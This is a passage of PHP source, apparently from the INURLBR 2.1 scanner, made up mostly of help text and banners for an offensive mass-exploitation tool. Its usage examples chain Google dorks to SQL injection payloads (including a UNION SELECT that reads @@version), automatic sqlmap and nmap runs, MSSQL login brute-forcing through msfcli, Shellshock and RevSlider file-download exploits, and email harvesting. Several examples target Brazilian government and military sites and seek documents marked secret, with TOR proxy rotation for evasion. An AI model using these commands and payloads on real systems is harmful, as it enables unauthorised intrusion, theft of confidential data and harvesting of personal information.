  889.    Usage:    {$_SESSION["c1"]}--regexp{$_SESSION["c2"]} '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]}
  890.    
  891.  
  892. {$_SESSION["c1"]}---regexp-filter{$_SESSION["c0"]} Using regular expression to filter his research, the value of the
  893.     Expression will be sought within the target/URL.
  894.    Example:  {$_SESSION["c1"]}---regexp-filter{$_SESSION["c2"]} {regular_expression}{$_SESSION["c0"]}
  895.    EMAIL:  
  896.    Usage:    {$_SESSION["c1"]}---regexp-filter{$_SESSION["c2"]} '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]}
  897.  
  898.  
  899.    [!] Small commands manager:
  900.    
  901. {$_SESSION["c1"]}--exploit-cad{$_SESSION["c0"]} Command register for use within the scanner.
  902.    Format {TYPE_EXPLOIT}::{EXPLOIT_COMMAND}
  903.    Example Format: NMAP::nmap -sV _TARGET_
  904.    Example Format: EXPLOIT1::php xpl.php -t _TARGET_ -s output.txt
  905.    Usage:    {$_SESSION["c1"]}--exploit-cad{$_SESSION["c2"]} 'NMAP::nmap -sV _TARGET_'{$_SESSION["c0"]}
  906.    Observation: Each registered command is identified by an id of your array.
  907.                 Commands are logged in exploits.conf file.
  908.  
  909. {$_SESSION["c1"]}--exploit-all-id{$_SESSION["c0"]} Execute commands, exploits based on id of use,
  910.    (all) is run for each target found by the engine.
  911.     Example: {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]}{id,id}{$_SESSION["c0"]}
  912.     Usage:   {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]}1,2,8,22
  913.        
  914. {$_SESSION["c1"]}--exploit-vul-id{$_SESSION["c0"]} Execute commands, exploits based on id of use,
  915.    (vull) run command only if the target was considered vulnerable.
  916.     Example: {$_SESSION["c1"]}--exploit-vul-id {$_SESSION["c2"]}{id,id}{$_SESSION["c0"]}
  917.     Usage:   {$_SESSION["c1"]}--exploit-vul-id {$_SESSION["c2"]}1,2,8,22
  918.  
  919. {$_SESSION["c1"]}--exploit-list{$_SESSION["c0"]} List all entries command in exploits.conf file.
  920.  
  921.  
  922.    [!] Running subprocesses:
  923.    
  924. {$_SESSION["c1"]}--sub-file{$_SESSION["c0"]}  Subprocess performs an injection
  925.     strings in URLs found by the engine, via GET or POST.
  926.     Example: {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}{youfile}{$_SESSION["c0"]}
  927.     Usage:   {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}exploits_get.txt
  928.        
  929. {$_SESSION["c1"]}--sub-get{$_SESSION["c0"]} defines whether the strings coming from
  930.     --sub-file will be injected via GET.
  931.     Usage:   {$_SESSION["c1"]}--sub-get
  932.        
  933. {$_SESSION["c1"]}--sub-post{$_SESSION["c0"]} defines whether the strings coming from
  934.     --sub-file will be injected via POST.
  935.     Usage:   {$_SESSION["c1"]}--sub-get
  936.        
  937. {$_SESSION["c1"]}--sub-concat{$_SESSION["c0"]} Sets string to be concatenated with
  938.     the target host within the subprocess
  939.     Example: {$_SESSION["c1"]}--sub-concat {$_SESSION["c2"]}{string}{$_SESSION["c0"]}
  940.     Usage:   {$_SESSION["c1"]}--sub-concat {$_SESSION["c2"]}'/login.php'{$_SESSION["c0"]}
  941.  
  942. {$_SESSION["c1"]}--sub-cmd-vul{$_SESSION["c0"]} Each vulnerable URL found within the sub-process
  943.     will execute the parameters of this command.
  944.     Example: {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}{command}{$_SESSION["c0"]}
  945.     Usage:   {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]}
  946.              {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]}
  947.              {$_SESSION["c1"]}--sub-cmd-vul {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]}
  948.                  
  949. {$_SESSION["c1"]}--sub-cmd-all{$_SESSION["c0"]} Run command to each target found within the sub-process scope.
  950.     Example: {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}{command}{$_SESSION["c0"]}
  951.     Usage:   {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]}{$_SESSION["c2"]}'{$_SESSION["c0"]}
  952.              {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'./exploit.sh {$_SESSION["c8"]}_TARGET_{$_SESSION["c0"]} {$_SESSION["c2"]}output.txt'{$_SESSION["c0"]}
  953.              {$_SESSION["c1"]}--sub-cmd-all {$_SESSION["c2"]}'php miniexploit.php -t {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]} -s output.txt'{$_SESSION["c0"]}
  954.  
  955.  
  956. {$_SESSION["c1"]}--port-scan{$_SESSION["c0"]} Defines ports that will be validated as open.
  957.     Example: {$_SESSION["c1"]}--port-scan {$_SESSION["c2"]}{ports}{$_SESSION["c0"]}
  958.     Usage:   {$_SESSION["c1"]}--port-scan {$_SESSION["c2"]}'22,21,23,3306'{$_SESSION["c0"]}
  959.        
  960. {$_SESSION["c1"]}--port-cmd{$_SESSION["c0"]} Define command that runs when finding an open door.
  961.     Example: {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}{command}{$_SESSION["c0"]}
  962.     Usage:   {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}'./xpl _TARGETIP_:_PORT_'{$_SESSION["c0"]}
  963.              {$_SESSION["c1"]}--port-cmd {$_SESSION["c2"]}'./xpl _TARGETIP_/file.php?sqli=1'{$_SESSION["c0"]}
  964.  
  965. {$_SESSION["c1"]}--port-write{$_SESSION["c0"]} Send values for door.
  966.     Example: {$_SESSION["c1"]}--port-write {$_SESSION["c2"]}{'value0','value1','value3'}{$_SESSION["c0"]}
  967.     Usage:   {$_SESSION["c1"]}--port-write {$_SESSION["c2"]}\"'NICK nk_test','USER nk_test 8 * :_ola','JOIN #inurlbrasil','PRIVMSG #inurlbrasil : minha_msg'\"{$_SESSION["c0"]}
  968.  
  969.  
  970.  
  971.    [!] Modifying values used within script parameters:
  972.    
  973. {$_SESSION["c1"]}md5{$_SESSION["c0"]} Encrypt values in md5.
  974.     Example: {$_SESSION["c1"]}md5({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]}
  975.     Usage:   {$_SESSION["c1"]}md5({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]}
  976.     Usage:   {$_SESSION["c1"]}--exploit-get 'user?id=md5({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]}
  977.  
  978. {$_SESSION["c1"]}base64{$_SESSION["c0"]} Encrypt values in base64.
  979.     Example: {$_SESSION["c1"]}base64({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]}
  980.     Usage:   {$_SESSION["c1"]}base64({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]}
  981.     Usage:   {$_SESSION["c1"]}--exploit-get 'user?id=base64({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]}
  982.        
  983. {$_SESSION["c1"]}hex{$_SESSION["c0"]} Encrypt values in hex.
  984.     Example: {$_SESSION["c1"]}hex({$_SESSION["c2"]}{value}{$_SESSION["c1"]}){$_SESSION["c0"]}
  985.     Usage:   {$_SESSION["c1"]}hex({$_SESSION["c2"]}102030{$_SESSION["c1"]}){$_SESSION["c0"]}
  986.     Usage:   {$_SESSION["c1"]}--exploit-get 'user?id=hex({$_SESSION["c2"]}102030{$_SESSION["c1"]})'{$_SESSION["c0"]}
  987.  
  988. {$_SESSION["c1"]}hex{$_SESSION["c0"]} Generate random values.
  989.     Example: {$_SESSION["c1"]}random({$_SESSION["c2"]}{character_counter}{$_SESSION["c1"]}){$_SESSION["c0"]}
  990.     Usage:   {$_SESSION["c1"]}random({$_SESSION["c2"]}8{$_SESSION["c1"]}){$_SESSION["c0"]}
  991.     Usage:   {$_SESSION["c1"]}--exploit-get 'user?id=random({$_SESSION["c2"]}8{$_SESSION["c1"]})'{$_SESSION["c0"]}
  992.  
  993. ");
  994. }
  995.  
  996. function __info() {
  997.  
  998.     return system("command clear") . __getOut("
  999. {$_SESSION["c1"]}_____ _   _ ______ ____  
  1000. |_   _| \ | |  ____/ __ \
  1001.  | | |  \| | |__ | |  | |
  1002.  | | | . ` |  __|| |  | |
  1003. _| |_| |\  | |   | |__| |
  1004. |_____|_| \_|_|    \____/
  1005.  
  1006. {$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current PHP version=>{$_SESSION["c1"]}[ " . phpversion() . "{$_SESSION["c0"]} ]
  1007. {$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current script owner=>{$_SESSION["c1"]}[ " . get_current_user() . "{$_SESSION["c0"]} ]
  1008. {$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current uname=>{$_SESSION["c1"]}[ " . php_uname() . "{$_SESSION["c0"]} ]
  1009. {$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current pwd=>{$_SESSION["c1"]}[ " . getcwd() . "{$_SESSION["c0"]} ]
  1010. {$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}
  1011.  
  1012. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}GRUPO  INURL BRASIL - PESQUISA AVANÇADA.
  1013. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}SCRIPT NAME: INURLBR 2.1
  1014. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}AUTOR:    Cleiton Pinheiro
  1015. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Nick:     Googleinurl
  1016. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Email:    inurlbr@gmail.com  
  1017. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Blog:     http://blog.inurl.com.br
  1018. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Twitter:  https://twitter.com/googleinurl
  1019. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Facebook: https://fb.com/InurlBrasil
  1020. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}GIT:      https://github.com/googleinurl
  1021. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Pastebin  https://pastebin.com/u/Googleinurl
  1022. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}PSS:      https://packetstormsecurity.com/user/googleinurl
  1023. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}YOUTUBE:  http://youtube.com/c/INURLBrasil
  1024. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}PLUS:     http://google.com/+INURLBrasil
  1025. {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Version:  2.1
  1026.  
  1027. {$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}
  1028.  
  1029.   {$_SESSION["c1"]}[+]{$_SESSION["c16"]}NECESSARY FOR THE PROPER FUNCTIONING OF THE SCRIPT{$_SESSION["c0"]}
  1030.    
  1031.     {$_SESSION["c1"]}[ - ]{$_SESSION["c16"]} LIB & CONFIG{$_SESSION["c0"]}
  1032.  
  1033. * PHP Version         5.4.7
  1034. * php5-curl           LIB
  1035. * php5-cli            LIB  
  1036. * cURL support        enabled
  1037. * cURL Information    7.24.0
  1038. * allow_url_fopen     On
  1039. * permission          Reading & Writing
  1040. * User                root privilege, or is in the sudoers group
  1041. * Operating system    LINUX
  1042. * Proxy random        TOR
  1043.                
  1044. {$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}
  1045.  
  1046.   {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}PERMISSION EXECUTION: chmod +x inurlbr.php{$_SESSION["c0"]}
  1047.   {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING LIB PHP-CURL: sudo apt-get install php5-curl{$_SESSION["c0"]}
  1048.   {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING LIB PHP-CLI: sudo apt-get install php5-cli{$_SESSION["c0"]}
  1049.   {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl033[0m
  1050.   {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING PROXY TOR https://www.torproject.org/docs/debian.html.en{$_SESSION["c0"]}
  1051.  
  1052. {$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}
  1053.  
  1054.     {$_SESSION["c1"]}[ - ]{$_SESSION["c16"]} COMMANDS SIMPLE SCRIPT{$_SESSION["c0"]}
  1055.  
  1056.  
  1057. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:php?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c0"]}
  1058.  
  1059. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:aspx?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c0"]}
  1060.  
  1061. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:aspx (id|new)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\"{$_SESSION["c0"]}
  1062.  
  1063. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'index of wp-content/uploads' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6,2,4 {$_SESSION["c1"]}-t {$_SESSION["c2"]}2 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'Index of /wp-content/uploads'{$_SESSION["c0"]}
  1064.  
  1065. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.mil.br intext:(confidencial) ext:pdf' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 -t 2 --exploit-get {$_SESSION["c3"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'confidencial'{$_SESSION["c0"]}
  1066.  
  1067. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.mil.br intext:(secreto) ext:pdf' {$_SESSION["c1"]}-s save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}2 {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'secreto'{$_SESSION["c0"]}        
  1068.  
  1069. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:aspx (id|new)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\"{$_SESSION["c0"]}
  1070.  
  1071. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'.new.php?new id' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6,7,2,3 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}'+UNION+ALL+SELECT+1,concat(0x3A3A4558504C4F49542D5355434553533A3A,@@version),3,4,5;' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'::EXPLOIT-SUCESS::'{$_SESSION["c0"]}
  1072.  
  1073. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'new.php?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}teste.txt  {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}?´0x27  {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]}'{$_SESSION["c0"]}
  1074.  
  1075. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:pt inurl:aspx (id|q)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}bruteforce.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}?´0x27 {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'msfcli auxiliary/scanner/mssql/mssql_login RHOST={$_SESSION["c9"]}_TARGETIP_ {$_SESSION["c2"]}MSSQL_USER=inurlbr MSSQL_PASS_FILE=/home/pedr0/Documentos/passwords E'{$_SESSION["c0"]}
  1076.  
  1077. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:id & inurl:php' {$_SESSION["c1"]}-s {$_SESSION["c2"]}get.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'python ../sqlmap/sqlmap.py -u \"{$_SESSION["c14"]}_TARGETFULL_{$_SESSION["c2"]}\" --dbs'{$_SESSION["c0"]}
  1078.  
  1079. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:index.php?id=' {$_SESSION["c1"]}-q 1,2,10 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"'?´0x27'\" {$_SESSION["c1"]}-s {$_SESSION["c2"]}report.txt {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap -Pn -p 1-8080 --script http-enum --open {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]}'{$_SESSION["c0"]}
  1080.  
  1081. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email' {$_SESSION["c1"]}-s {$_SESSION["c2"]}reg.txt -q 1  --regexp '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]}
  1082.  
  1083. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}emails.txt {$_SESSION["c1"]}-m{$_SESSION["c0"]}
  1084.  
  1085. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}urls.txt {$_SESSION["c1"]}-u{$_SESSION["c0"]}
  1086.  
  1087. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:gov.bo' {$_SESSION["c1"]}-s {$_SESSION["c2"]}govs.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c0"]}
  1088.  
  1089. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.uk' {$_SESSION["c1"]}-s {$_SESSION["c2"]}uk.txt {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]} 'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)' {$_SESSION["c0"]}
  1090.  
  1091. ./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksSqli.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}govs.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c0"]}
  1092.  
  1093. ./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksSqli.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}sqli.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6  {$_SESSION["c1"]}--irc {$_SESSION["c2"]}'irc.rizon.net#inurlbrasil'   {$_SESSION["c0"]}
  1094.  
  1095. ./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:\"cgi-bin/login.cgi\"' {$_SESSION["c1"]}-s {$_SESSION["c2"]}cgi.txt --ifurl 'cgi' --command-all 'php xplCGI.php _TARGET_' {$_SESSION["c0"]}
  1096.  
  1097. ./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]}
  1098.  
  1099. ./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\"{$_SESSION["c0"]}
  1100.  
  1101. ./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?pass=1234\" {$_SESSION["c1"]}-a {$_SESSION["c2"]}'<title>hello! admin</title>'{$_SESSION["c0"]}
  1102.  
  1103. ./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find_valid_cod-200.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}5{$_SESSION["c0"]}
  1104.  
  1105. ./inurlbr.php {$_SESSION["c1"]}--range {$_SESSION["c2"]}'200.20.10.1,200.20.10.255' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php roteador.php _TARGETIP_'  {$_SESSION["c0"]}
  1106.  
  1107. ./inurlbr.php {$_SESSION["c1"]}--range-rad {$_SESSION["c2"]}'1500' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php roteador.php _TARGETIP_'  {$_SESSION["c0"]}
  1108.  
  1109. ./inurlbr.php {$_SESSION["c1"]}--dork-rad {$_SESSION["c2"]}'20' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\" {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8  {$_SESSION["c0"]}
  1110.  
  1111. ./inurlbr.php {$_SESSION["c1"]}--dork-rad {$_SESSION["c2"]}'20' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\" {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8  {$_SESSION["c0"]} --pr
  1112.  
  1113. ./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksCGI.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8  {$_SESSION["c0"]} --pr --shellshock
  1114.  
  1115. ./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorks_Wordpress_revslider.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8  {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}'xpls_Arbitrary_File_Download.txt' {$_SESSION["c0"]}
  1116.   {$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}
  1117.  
  1118.  {$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}It it also useful to know the full path to the PHP binary on your computer. {$_SESSION["c0"]}
  1119.  {$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}There are several ways of finding out. For Ubuntu and Mac OS X the path is '/usr/bin/php'.{$_SESSION["c0"]}
  1120.  
  1121.  googleinurl@inurlbr:~$ which php
  1122.  /usr/bin/php
  1123.  googleinurl@inurlbr:~/cli$ whereis php
  1124.  php: /usr/bin/php /usr/share/php /usr/share/man/man1/php.1.gz
  1125.  googleinurl@inurlbr:~/cli$ type -a php
  1126.  php is /usr/bin/php
  1127.  
  1128. {$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]}
  1129.  
  1130.  
  1131. ");
  1132. }
  1133.  
  1134. ################################################################################
  1135. #BANNER HOME####################################################################
  1136.  
  1137. function __bannerLogo() {
  1138.  
  1139.     $vis = ($_SESSION["os"] != 1) ? ("\033[1;3" . rand(1, 10) . "m") : NULL;
  1140.  
  1141.     return (!is_null($_SESSION['config']['no-banner']) ? NULL : system("command clear") . "
  1142. {$vis}    _____ {$_SESSION["c1"]} .701F. .iBR.   .7CL. .70BR.   .7BR. .7BR'''Cq.   .70BR.      {$_SESSION["c12"]}.1BR'''Yp, .8BR'''Cq.  
  1143. {$vis}   (_____){$_SESSION["c1"]}   01     01N.    C     01       C     01   .01.    01        {$_SESSION["c3"]}  01    Yb   01   .01.
  1144. {$vis}   (() ()){$_SESSION["c1"]}   01     C YCb   C     01       C     01   ,C9     01        {$_SESSION["c12"]}  01    dP   01   ,C9  
  1145. {$vis}    \   / {$_SESSION["c1"]}   01     C  .CN. C     01       C     0101dC9      01        {$_SESSION["c3"]}  01'''bg.   0101dC9  
  1146. {$vis}     \ /  {$_SESSION["c1"]}   01     C   .01.C     01       C     01  YC.      01      , {$_SESSION["c12"]}  01    .Y   01  YC.  
  1147. {$vis}     /=\  {$_SESSION["c1"]}   01     C     Y01     YC.     ,C     01   .Cb.    01     ,C {$_SESSION["c3"]}  01    ,9   01   .Cb.
  1148. {$vis}    [___] {$_SESSION["c1"]} .J01L. .JCL.    YC      .b0101d'.   .J01L. .J01. .J01010101C {$_SESSION["c12"]}.J0101Cd9  .J01L. .J01./ {$_SESSION["c1"]}2.1\n
  1149. {$_SESSION["c1"]}__[ ! ] Neither war between hackers, nor peace for the system.
  1150. {$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://blog.inurl.com.br
  1151. {$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://fb.com/InurlBrasil
  1152. {$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://twitter.com/@googleinurl{$_SESSION["c0"]}
  1153. {$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://github.com/googleinurl{$_SESSION["c0"]}
  1154. {$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current PHP version::[ {$_SESSION["c1"]}" . phpversion() . " {$_SESSION["c16"]}]{$_SESSION["c0"]}
  1155. {$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current script owner::[ {$_SESSION["c1"]}" . get_current_user() . " {$_SESSION["c16"]}]{$_SESSION["c0"]}
  1156. {$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current uname::[ {$_SESSION["c1"]}" . php_uname() . " {$_SESSION["c16"]}]{$_SESSION["c0"]}
  1157. {$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current pwd::[ {$_SESSION["c1"]}" . getcwd() . " {$_SESSION["c16"]}]{$_SESSION["c0"]}
  1158. {$_SESSION["c1"]}__[ ! ] {$_SESSION["c2"]}Help: php inurlbr.php --help{$_SESSION["c0"]}
  1159. {$_SESSION["c1"]}------------------------------------------------------------------------------------------------------------------------{$_SESSION["c0"]}
  1160. ");
  1161. }
  1162.  
  1163. ################################################################################
  1164. #CHANGE PROXY FUNCTION IN TIME##################################################
  1165. ################################################################################
  1166.  
  1167. function __timeValueChangeProxy($sec = NULL) {
  1168.  
  1169.     return not_isnull_empty($sec) ? date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . " + {$sec} second")) : NULL;
  1170. }
  1171.  
  1172. function __timeSecChangeProxy($list_proxy) {
  1173.  
  1174.     if ($_SESSION["config"]["time_change_proxy"] < date('Y-m-d H:i:s') && !is_null($list_proxy)) {
  1175.         $proxy = $list_proxy[rand(0, count($list_proxy) - 1)];
  1176.         echo ("[ INFO ][PROXY] CHANGE: {$proxy}  - " . date('Y-m-d H:i:s') . "\n");
